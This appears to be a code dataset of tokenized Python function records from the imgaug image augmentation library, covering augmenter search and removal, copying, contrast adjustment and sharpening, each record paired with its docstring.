{"signature": "def find_augmenters_by_names(self, names, regex=False, flat=True):", "body": "if regex:<EOL><INDENT>def comparer(aug, parents):<EOL><INDENT>for pattern in names:<EOL><INDENT>if re.match(pattern, aug.name):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL><DEDENT>return self.find_augmenters(comparer, flat=flat)<EOL><DEDENT>else:<EOL><INDENT>return self.find_augmenters(lambda aug, parents: aug.name in names, flat=flat)<EOL><DEDENT>", "docstring": "Find augmenter(s) by names.\n\nParameters\n----------\nnames : list of str\n    Names of the augmenter(s) to search for.\n\nregex : bool, optional\n    Whether `names` is a list of regular expressions.\n\nflat : boolean, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.find_augmenters`.\n\nReturns\n-------\naugmenters : list of imgaug.augmenters.meta.Augmenter\n    Nested list if flat was set to False.\n    Flat list if flat was set to True.", "id": "f16288:c0:m36"}
{"signature": "def remove_augmenters(self, func, copy=True, noop_if_topmost=True):", "body": "if func(self, []):<EOL><INDENT>if not copy:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if noop_if_topmost:<EOL><INDENT>return Noop()<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>aug = self if not copy else self.deepcopy()<EOL>aug.remove_augmenters_inplace(func, parents=[])<EOL>return aug<EOL><DEDENT>", "docstring": "Remove this augmenter or its children that match a condition.\n\nParameters\n----------\nfunc : callable\n    Condition to match per augmenter.\n    The function must expect the augmenter itself and a list of parent\n    augmenters and returns True if that augmenter is to be removed,\n    or False otherwise.\n    E.g. ``lambda a, parents: a.name == \"fliplr\" and len(parents) == 1``\n    removes an augmenter with name \"fliplr\" if it is the direct child\n    of the augmenter upon which ``remove_augmenters()`` was initially called.\n\ncopy : bool, optional\n    Whether to copy this augmenter and all if its children before\n    removing. If False, removal is performed in-place.\n\nnoop_if_topmost : bool, optional\n    If True and the condition (lambda function) leads to the removal\n    of the topmost augmenter (the one this function is called on\n    initially), then that topmost augmenter will be replaced by a\n    Noop instance (i.e. an object that will still offer ``augment_images()``,\n    but does not change images). If False, None will be returned in\n    these cases.\n    This can only be False if copy is set to True.\n\nReturns\n-------\naug : imgaug.augmenters.meta.Augmenter or None\n    This augmenter after the removal was performed.\n    Is None iff condition was matched for the topmost augmenter,\n    copy was set to True and `noop_if_topmost` was set to False.\n\nExamples\n--------\n>>> seq = iaa.Sequential([\n>>>     iaa.Fliplr(0.5, name=\"fliplr\"),\n>>>     iaa.Flipud(0.5, name=\"flipud\"),\n>>> ])\n>>> seq = seq.remove_augmenters(lambda a, parents: a.name == \"fliplr\")\n\nThis removes the augmenter Fliplr from the Sequential object's children.", "id": "f16288:c0:m37"}
{"signature": "def remove_augmenters_inplace(self, func, parents=None):", "body": "parents = [] if parents is None else parents<EOL>subparents = parents + [self]<EOL>for lst in self.get_children_lists():<EOL><INDENT>to_remove = []<EOL>for i, aug in enumerate(lst):<EOL><INDENT>if func(aug, subparents):<EOL><INDENT>to_remove.append((i, aug))<EOL><DEDENT><DEDENT>for count_removed, (i, aug) in enumerate(to_remove):<EOL><INDENT>del lst[i - count_removed]<EOL><DEDENT>for aug in lst:<EOL><INDENT>aug.remove_augmenters_inplace(func, subparents)<EOL><DEDENT><DEDENT>", "docstring": "Remove in-place children of this augmenter that match a condition.\n\nThis is functionally identical to ``remove_augmenters()`` with\n``copy=False``, except that it does not affect the topmost augmenter\n(the one on which this function is initially called on).\n\nParameters\n----------\nfunc : callable\n    See :func:`imgaug.augmenters.meta.Augmenter.remove_augmenters`.\n\nparents : None or list of imgaug.augmenters.meta.Augmenter, optional\n    List of parent Augmenter instances that lead to this\n    Augmenter. If None, an empty list will be used.\n    This parameter can usually be left empty and will be set\n    automatically for children.\n\nExamples\n--------\n>>> seq = iaa.Sequential([\n>>>     iaa.Fliplr(0.5, name=\"fliplr\"),\n>>>    iaa.Flipud(0.5, name=\"flipud\"),\n>>> ])\n>>> seq.remove_augmenters_inplace(lambda a, parents: a.name == \"fliplr\")\n\nThis removes the augmenter Fliplr from the Sequential object's children.", "id": "f16288:c0:m38"}
{"signature": "def copy(self):", "body": "return copy_module.copy(self)<EOL>", "docstring": "Create a shallow copy of this Augmenter instance.\n\nReturns\n-------\nimgaug.augmenters.meta.Augmenter\n    Shallow copy of this Augmenter instance.", "id": "f16288:c0:m39"}
{"signature": "def deepcopy(self):", "body": "return copy_module.deepcopy(self)<EOL>", "docstring": "Create a deep copy of this Augmenter instance.\n\nReturns\n-------\nimgaug.augmenters.meta.Augmenter\n    Deep copy of this Augmenter instance.", "id": "f16288:c0:m40"}
{"signature": "def add(self, augmenter):", "body": "self.append(augmenter)<EOL>", "docstring": "Add an augmenter to the list of child augmenters.\n\n        Parameters\n        ----------\n        augmenter : imgaug.augmenters.meta.Augmenter\n            The augmenter to add.", "id": "f16288:c1:m7"}
{"signature": "def add(self, augmenter):", "body": "self.append(augmenter)<EOL>", "docstring": "Add an augmenter to the list of child augmenters.\n\n        Parameters\n        ----------\n        augmenter : imgaug.augmenters.meta.Augmenter\n            The augmenter to add.", "id": "f16288:c2:m11"}
{"signature": "def adjust_contrast_gamma(arr, gamma):", "body": "<EOL>if arr.dtype.name == \"<STR_LIT>\":<EOL><INDENT>min_value, _center_value, max_value = iadt.get_value_range_of_dtype(arr.dtype)<EOL>dynamic_range = max_value - min_value<EOL>value_range = np.linspace(<NUM_LIT:0>, <NUM_LIT:1.0>, num=dynamic_range+<NUM_LIT:1>, dtype=np.float32)<EOL>table = (min_value + (value_range ** np.float32(gamma)) * dynamic_range)<EOL>arr_aug = cv2.LUT(arr, np.clip(table, min_value, max_value).astype(arr.dtype))<EOL>if arr.ndim == <NUM_LIT:3> and arr_aug.ndim == <NUM_LIT:2>:<EOL><INDENT>return arr_aug[..., np.newaxis]<EOL><DEDENT>return arr_aug<EOL><DEDENT>else:<EOL><INDENT>return ski_exposure.adjust_gamma(arr, gamma)<EOL><DEDENT>", "docstring": "Adjust contrast by scaling each pixel value to ``255 * ((I_ij/255)**gamma)``.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested (1) (2) (3)\n    * ``uint16``: yes; tested (2) (3)\n    * ``uint32``: yes; tested (2) (3)\n    * ``uint64``: yes; tested (2) (3) (4)\n    * ``int8``: limited; tested (2) (3) (5)\n    * ``int16``: limited; tested (2) (3) (5)\n    * ``int32``: limited; tested (2) (3) (5)\n    * ``int64``: limited; tested (2) (3) (4) (5)\n    * ``float16``: limited; tested (5)\n    * ``float32``: limited; tested (5)\n    * ``float64``: limited; tested (5)\n    * ``float128``: no (6)\n    * ``bool``: no (7)\n\n    - (1) Handled by ``cv2``. Other dtypes are handled by ``skimage``.\n    - (2) Normalization is done as ``I_ij/max``, where ``max`` is the maximum value of the\n          dtype, e.g. 255 for ``uint8``. The normalization is reversed afterwards,\n          e.g. ``result*255`` for ``uint8``.\n    - (3) Integer-like values are not rounded after applying the contrast adjustment equation\n          (before inverting the normalization to 0.0-1.0 space), i.e. projection from continuous\n          space to discrete happens according to floor function.\n    - (4) Note that scikit-image doc says that integers are converted to ``float64`` values before\n          applying the contrast normalization method. This might lead to inaccuracies for large\n          64bit integer values. Tests showed no indication of that happening though.\n    - (5) Must not contain negative values. Values >=0 are fully supported.\n    - (6) Leads to error in scikit-image.\n    - (7) Does not make sense for contrast adjustments.\n\nParameters\n----------\narr : numpy.ndarray\n    Array for which to adjust the contrast. Dtype ``uint8`` is fastest.\n\ngamma : number\n    Exponent for the contrast adjustment. Higher values darken the image.\n\nReturns\n-------\nnumpy.ndarray\n    Array with adjusted contrast.", "id": "f16289:m0"}
{"signature": "def adjust_contrast_sigmoid(arr, gain, cutoff):", "body": "<EOL>if arr.dtype.name == \"<STR_LIT>\":<EOL><INDENT>min_value, _center_value, max_value = iadt.get_value_range_of_dtype(arr.dtype)<EOL>dynamic_range = max_value - min_value<EOL>value_range = np.linspace(<NUM_LIT:0>, <NUM_LIT:1.0>, num=dynamic_range+<NUM_LIT:1>, dtype=np.float32)<EOL>gain = np.float32(gain)<EOL>cutoff = np.float32(cutoff)<EOL>table = min_value + dynamic_range * <NUM_LIT:1>/(<NUM_LIT:1> + np.exp(gain * (cutoff - value_range)))<EOL>arr_aug = cv2.LUT(arr, np.clip(table, min_value, max_value).astype(arr.dtype))<EOL>if arr.ndim == <NUM_LIT:3> and arr_aug.ndim == <NUM_LIT:2>:<EOL><INDENT>return arr_aug[..., np.newaxis]<EOL><DEDENT>return arr_aug<EOL><DEDENT>else:<EOL><INDENT>return ski_exposure.adjust_sigmoid(arr, cutoff=cutoff, gain=gain)<EOL><DEDENT>", "docstring": "Adjust contrast by scaling each pixel value to ``255 * 1/(1 + exp(gain*(cutoff - I_ij/255)))``.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested (1) (2) (3)\n    * ``uint16``: yes; tested (2) (3)\n    * ``uint32``: yes; tested (2) (3)\n    * ``uint64``: yes; tested (2) (3) (4)\n    * ``int8``: limited; tested (2) (3) (5)\n    * ``int16``: limited; tested (2) (3) (5)\n    * ``int32``: limited; tested (2) (3) (5)\n    * ``int64``: limited; tested (2) (3) (4) (5)\n    * ``float16``: limited; tested (5)\n    * ``float32``: limited; tested (5)\n    * ``float64``: limited; tested (5)\n    * ``float128``: no (6)\n    * ``bool``: no (7)\n\n    - (1) Handled by ``cv2``. Other dtypes are handled by ``skimage``.\n    - (2) Normalization is done as ``I_ij/max``, where ``max`` is the maximum value of the\n          dtype, e.g. 255 for ``uint8``. The normalization is reversed afterwards,\n          e.g. ``result*255`` for ``uint8``.\n    - (3) Integer-like values are not rounded after applying the contrast adjustment equation\n          (before inverting the normalization to 0.0-1.0 space), i.e. projection from continuous\n          space to discrete happens according to floor function.\n    - (4) Note that scikit-image doc says that integers are converted to ``float64`` values before\n          applying the contrast normalization method. This might lead to inaccuracies for large\n          64bit integer values. Tests showed no indication of that happening though.\n    - (5) Must not contain negative values. Values >=0 are fully supported.\n    - (6) Leads to error in scikit-image.\n    - (7) Does not make sense for contrast adjustments.\n\nParameters\n----------\narr : numpy.ndarray\n    Array for which to adjust the contrast. Dtype ``uint8`` is fastest.\n\ngain : number\n    Multiplier for the sigmoid function's output.\n    Higher values lead to quicker changes from dark to light pixels.\n\ncutoff : number\n    Cutoff that shifts the sigmoid function in horizontal direction.\n    Higher values mean that the switch from dark to light pixels happens later, i.e.\n    the pixels will remain darker.\n\nReturns\n-------\nnumpy.ndarray\n    Array with adjusted contrast.", "id": "f16289:m1"}
{"signature": "def adjust_contrast_log(arr, gain):", "body": "<EOL>if arr.dtype.name == \"<STR_LIT>\":<EOL><INDENT>min_value, _center_value, max_value = iadt.get_value_range_of_dtype(arr.dtype)<EOL>dynamic_range = max_value - min_value<EOL>value_range = np.linspace(<NUM_LIT:0>, <NUM_LIT:1.0>, num=dynamic_range+<NUM_LIT:1>, dtype=np.float32)<EOL>gain = np.float32(gain)<EOL>table = min_value + dynamic_range * gain * np.log2(<NUM_LIT:1> + value_range)<EOL>arr_aug = cv2.LUT(arr, np.clip(table, min_value, max_value).astype(arr.dtype))<EOL>if arr.ndim == <NUM_LIT:3> and arr_aug.ndim == <NUM_LIT:2>:<EOL><INDENT>return arr_aug[..., np.newaxis]<EOL><DEDENT>return arr_aug<EOL><DEDENT>else:<EOL><INDENT>return ski_exposure.adjust_log(arr, gain=gain)<EOL><DEDENT>", "docstring": "Adjust contrast by scaling each pixel value to ``255 * gain * log_2(1 + I_ij/255)``.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested (1) (2) (3)\n    * ``uint16``: yes; tested (2) (3)\n    * ``uint32``: yes; tested (2) (3)\n    * ``uint64``: yes; tested (2) (3) (4)\n    * ``int8``: limited; tested (2) (3) (5)\n    * ``int16``: limited; tested (2) (3) (5)\n    * ``int32``: limited; tested (2) (3) (5)\n    * ``int64``: limited; tested (2) (3) (4) (5)\n    * ``float16``: limited; tested (5)\n    * ``float32``: limited; tested (5)\n    * ``float64``: limited; tested (5)\n    * ``float128``: no (6)\n    * ``bool``: no (7)\n\n    - (1) Handled by ``cv2``. Other dtypes are handled by ``skimage``.\n    - (2) Normalization is done as ``I_ij/max``, where ``max`` is the maximum value of the\n          dtype, e.g. 255 for ``uint8``. The normalization is reversed afterwards,\n          e.g. ``result*255`` for ``uint8``.\n    - (3) Integer-like values are not rounded after applying the contrast adjustment equation\n          (before inverting the normalization to 0.0-1.0 space), i.e. projection from continuous\n          space to discrete happens according to floor function.\n    - (4) Note that scikit-image doc says that integers are converted to ``float64`` values before\n          applying the contrast normalization method. This might lead to inaccuracies for large\n          64bit integer values. Tests showed no indication of that happening though.\n    - (5) Must not contain negative values. Values >=0 are fully supported.\n    - (6) Leads to error in scikit-image.\n    - (7) Does not make sense for contrast adjustments.\n\nParameters\n----------\narr : numpy.ndarray\n    Array for which to adjust the contrast. Dtype ``uint8`` is fastest.\n\ngain : number\n    Multiplier for the logarithm result. Values around 1.0 lead to a contrast-adjusted\n    images. Values above 1.0 quickly lead to partially broken images due to exceeding the\n    datatype's value range.\n\nReturns\n-------\nnumpy.ndarray\n    Array with adjusted contrast.", "id": "f16289:m2"}
{"signature": "def adjust_contrast_linear(arr, alpha):", "body": "<EOL>if arr.dtype.name == \"<STR_LIT>\":<EOL><INDENT>min_value, center_value, max_value = iadt.get_value_range_of_dtype(arr.dtype)<EOL>value_range = np.arange(<NUM_LIT:0>, <NUM_LIT>, dtype=np.float32)<EOL>alpha = np.float32(alpha)<EOL>table = center_value + alpha * (value_range - center_value)<EOL>arr_aug = cv2.LUT(arr, np.clip(table, min_value, max_value).astype(arr.dtype))<EOL>if arr.ndim == <NUM_LIT:3> and arr_aug.ndim == <NUM_LIT:2>:<EOL><INDENT>return arr_aug[..., np.newaxis]<EOL><DEDENT>return arr_aug<EOL><DEDENT>else:<EOL><INDENT>input_dtype = arr.dtype<EOL>_min_value, center_value, _max_value = iadt.get_value_range_of_dtype(input_dtype)<EOL>if input_dtype.kind in [\"<STR_LIT:u>\", \"<STR_LIT:i>\"]:<EOL><INDENT>center_value = int(center_value)<EOL><DEDENT>image_aug = center_value + alpha * (arr.astype(np.float64)-center_value)<EOL>image_aug = iadt.restore_dtypes_(image_aug, input_dtype)<EOL>return image_aug<EOL><DEDENT>", "docstring": "Adjust contrast by scaling each pixel value to ``127 + alpha*(I_ij-127)``.\n\n    dtype support::\n\n        * ``uint8``: yes; fully tested (1) (2)\n        * ``uint16``: yes; tested (2)\n        * ``uint32``: yes; tested (2)\n        * ``uint64``: no (3)\n        * ``int8``: yes; tested (2)\n        * ``int16``: yes; tested (2)\n        * ``int32``: yes; tested (2)\n        * ``int64``: no (2)\n        * ``float16``: yes; tested (2)\n        * ``float32``: yes; tested (2)\n        * ``float64``: yes; tested (2)\n        * ``float128``: no (2)\n        * ``bool``: no (4)\n\n        - (1) Handled by ``cv2``. Other dtypes are handled by raw ``numpy``.\n        - (2) Only tested for reasonable alphas with up to a value of around 100.\n        - (3) Conversion to ``float64`` is done during augmentation, hence ``uint64``, ``int64``,\n              and ``float128`` support cannot be guaranteed.\n        - (4) Does not make sense for contrast adjustments.\n\n    Parameters\n    ----------\n    arr : numpy.ndarray\n        Array for which to adjust the contrast. Dtype ``uint8`` is fastest.\n\n    alpha : number\n        Multiplier to linearly pronounce (>1.0), dampen (0.0 to 1.0) or invert (<0.0) the\n        difference between each pixel value and the center value, e.g. ``127`` for ``uint8``.\n\n    Returns\n    -------\n    numpy.ndarray\n        Array with adjusted contrast.", "id": "f16289:m3"}
{"signature": "def GammaContrast(gamma=<NUM_LIT:1>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "params1d = [iap.handle_continuous_param(gamma, \"<STR_LIT>\", value_range=None, tuple_to_uniform=True,<EOL>list_to_choice=True)]<EOL>func = adjust_contrast_gamma<EOL>return _ContrastFuncWrapper(<EOL>func, params1d, per_channel,<EOL>dtypes_allowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>dtypes_disallowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:bool>\"],<EOL>name=name if name is not None else ia.caller_name(),<EOL>deterministic=deterministic,<EOL>random_state=random_state<EOL>)<EOL>", "docstring": "Adjust contrast by scaling each pixel value to ``255 * ((I_ij/255)**gamma)``.\n\nValues in the range ``gamma=(0.5, 2.0)`` seem to be sensible.\n\ndtype support::\n\n    See :func:`imgaug.augmenters.contrast.adjust_contrast_gamma`.\n\nParameters\n----------\ngamma : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Exponent for the contrast adjustment. Higher values darken the image.\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value from the range ``[a, b]`` will be used per image.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\nper_channel :  bool or float, optional\n    Whether to use the same value for all channels (False) or to sample a new value for each\n    channel (True). If this value is a float ``p``, then for ``p`` percent of all images `per_channel`\n    will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nReturns\n-------\n_ContrastFuncWrapper\n    Augmenter to perform gamma contrast adjustment.", "id": "f16289:m4"}
{"signature": "def SigmoidContrast(gain=<NUM_LIT:10>, cutoff=<NUM_LIT:0.5>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "<EOL>params1d = [<EOL>iap.handle_continuous_param(gain, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, None), tuple_to_uniform=True, list_to_choice=True),<EOL>iap.handle_continuous_param(cutoff, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, <NUM_LIT:1.0>), tuple_to_uniform=True, list_to_choice=True)<EOL>]<EOL>func = adjust_contrast_sigmoid<EOL>return _ContrastFuncWrapper(<EOL>func, params1d, per_channel,<EOL>dtypes_allowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>dtypes_disallowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:bool>\"],<EOL>name=name if name is not None else ia.caller_name(),<EOL>deterministic=deterministic,<EOL>random_state=random_state<EOL>)<EOL>", "docstring": "Adjust contrast by scaling each pixel value to ``255 * 1/(1 + exp(gain*(cutoff - I_ij/255)))``.\n\nValues in the range ``gain=(5, 20)`` and ``cutoff=(0.25, 0.75)`` seem to be sensible.\n\ndtype support::\n\n    See :func:`imgaug.augmenters.contrast.adjust_contrast_sigmoid`.\n\nParameters\n----------\ngain : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Multiplier for the sigmoid function's output.\n    Higher values lead to quicker changes from dark to light pixels.\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value from the range ``[a, b]`` will be used per image.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\ncutoff : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Cutoff that shifts the sigmoid function in horizontal direction.\n    Higher values mean that the switch from dark to light pixels happens later, i.e.\n    the pixels will remain darker.\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value from the range ``[a, b]`` will be used per image.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\nper_channel :  bool or float, optional\n    Whether to use the same value for all channels (False) or to sample a new value for each\n    channel (True). If this value is a float ``p``, then for ``p`` percent of all images `per_channel`\n    will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nReturns\n-------\n_ContrastFuncWrapper\n    Augmenter to perform sigmoid contrast adjustment.", "id": "f16289:m5"}
{"signature": "def LogContrast(gain=<NUM_LIT:1>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "<EOL>params1d = [iap.handle_continuous_param(gain, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, None), tuple_to_uniform=True,<EOL>list_to_choice=True)]<EOL>func = adjust_contrast_log<EOL>return _ContrastFuncWrapper(<EOL>func, params1d, per_channel,<EOL>dtypes_allowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>dtypes_disallowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:bool>\"],<EOL>name=name if name is not None else ia.caller_name(),<EOL>deterministic=deterministic,<EOL>random_state=random_state<EOL>)<EOL>", "docstring": "Adjust contrast by scaling each pixel value to ``255 * gain * log_2(1 + I_ij/255)``.\n\ndtype support::\n\n    See :func:`imgaug.augmenters.contrast.adjust_contrast_log`.\n\nParameters\n----------\ngain : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Multiplier for the logarithm result. Values around 1.0 lead to a contrast-adjusted\n    images. Values above 1.0 quickly lead to partially broken images due to exceeding the\n    datatype's value range.\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value from the range ``[a, b]`` will be used per image.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\nper_channel :  bool or float, optional\n    Whether to use the same value for all channels (False) or to sample a new value for each\n    channel (True). If this value is a float ``p``, then for ``p`` percent of all images `per_channel`\n    will be treated as True, otherwise as False.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nReturns\n-------\n_ContrastFuncWrapper\n    Augmenter to perform logarithmic contrast adjustment.", "id": "f16289:m6"}
{"signature": "def LinearContrast(alpha=<NUM_LIT:1>, per_channel=False, name=None, deterministic=False, random_state=None):", "body": "params1d = [<EOL>iap.handle_continuous_param(alpha, \"<STR_LIT>\", value_range=None, tuple_to_uniform=True, list_to_choice=True)<EOL>]<EOL>func = adjust_contrast_linear<EOL>return _ContrastFuncWrapper(<EOL>func, params1d, per_channel,<EOL>dtypes_allowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>dtypes_disallowed=[\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:bool>\"],<EOL>name=name if name is not None else ia.caller_name(),<EOL>deterministic=deterministic,<EOL>random_state=random_state<EOL>)<EOL>", "docstring": "Adjust contrast by scaling each pixel value to ``127 + alpha*(I_ij-127)``.\n\n    dtype support::\n\n        See :func:`imgaug.augmenters.contrast.adjust_contrast_linear`.\n\n    Parameters\n    ----------\n    alpha : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n        Multiplier to linearly pronounce (>1.0), dampen (0.0 to 1.0) or invert (<0.0) the\n        difference between each pixel value and the center value, e.g. ``127`` for ``uint8``.\n\n            * If a number, then that value will be used for all images.\n            * If a tuple ``(a, b)``, then a value from the range ``[a, b]`` will be used per image.\n            * If a list, then a random value will be sampled from that list per image.\n            * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\n    per_channel :  bool or float, optional\n        Whether to use the same value for all channels (False) or to sample a new value for each\n        channel (True). If this value is a float ``p``, then for ``p`` percent of all images `per_channel`\n        will be treated as True, otherwise as False.\n\n    name : None or str, optional\n        See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\n    deterministic : bool, optional\n        See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\n    random_state : None or int or numpy.random.RandomState, optional\n        See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\n    Returns\n    -------\n    _ContrastFuncWrapper\n        Augmenter to perform contrast adjustment by linearly scaling the distance to 128.", "id": "f16289:m7"}
{"signature": "def Sharpen(alpha=<NUM_LIT:0>, lightness=<NUM_LIT:1>, name=None, deterministic=False, random_state=None):", "body": "alpha_param = iap.handle_continuous_param(alpha, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, <NUM_LIT:1.0>), tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>lightness_param = iap.handle_continuous_param(lightness, \"<STR_LIT>\", value_range=(<NUM_LIT:0>, None), tuple_to_uniform=True,<EOL>list_to_choice=True)<EOL>def create_matrices(image, nb_channels, random_state_func):<EOL><INDENT>alpha_sample = alpha_param.draw_sample(random_state=random_state_func)<EOL>ia.do_assert(<NUM_LIT:0> <= alpha_sample <= <NUM_LIT:1.0>)<EOL>lightness_sample = lightness_param.draw_sample(random_state=random_state_func)<EOL>matrix_nochange = np.array([<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]<EOL>], dtype=np.float32)<EOL>matrix_effect = np.array([<EOL>[-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>],<EOL>[-<NUM_LIT:1>, <NUM_LIT:8>+lightness_sample, -<NUM_LIT:1>],<EOL>[-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>]<EOL>], dtype=np.float32)<EOL>matrix = (<NUM_LIT:1>-alpha_sample) * matrix_nochange + alpha_sample * matrix_effect<EOL>return [matrix] * nb_channels<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return Convolve(create_matrices, name=name, deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Augmenter that sharpens images and overlays the result with the original image.\n\ndtype support::\n\n    See ``imgaug.augmenters.convolutional.Convolve``.\n\nParameters\n----------\nalpha : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Visibility of the sharpened image. At 0, only the original image is\n    visible, at 1.0 only its sharpened version is visible.\n\n        * If an int or float, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nlightness : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    Parameter that controls the lightness/brightness of the sharped image.\n    Sane values are somewhere in the range ``(0.5, 2)``.\n    The value 0 results in an edge map. Values higher than 1 create bright\n    images. Default value is 1.\n\n        * If an int or float, exactly that value will be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list\n          per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = Sharpen(alpha=(0.0, 1.0))\n\nsharpens input images and overlays the sharpened image by a variable\namount over the old image.\n\n>>> aug = Sharpen(alpha=(0.0, 1.0), lightness=(0.75, 2.0))\n\nsharpens input images with a variable lightness in the range\n``0.75 <= x <= 2.0`` and with a variable alpha.", "id": "f16290:m0"}
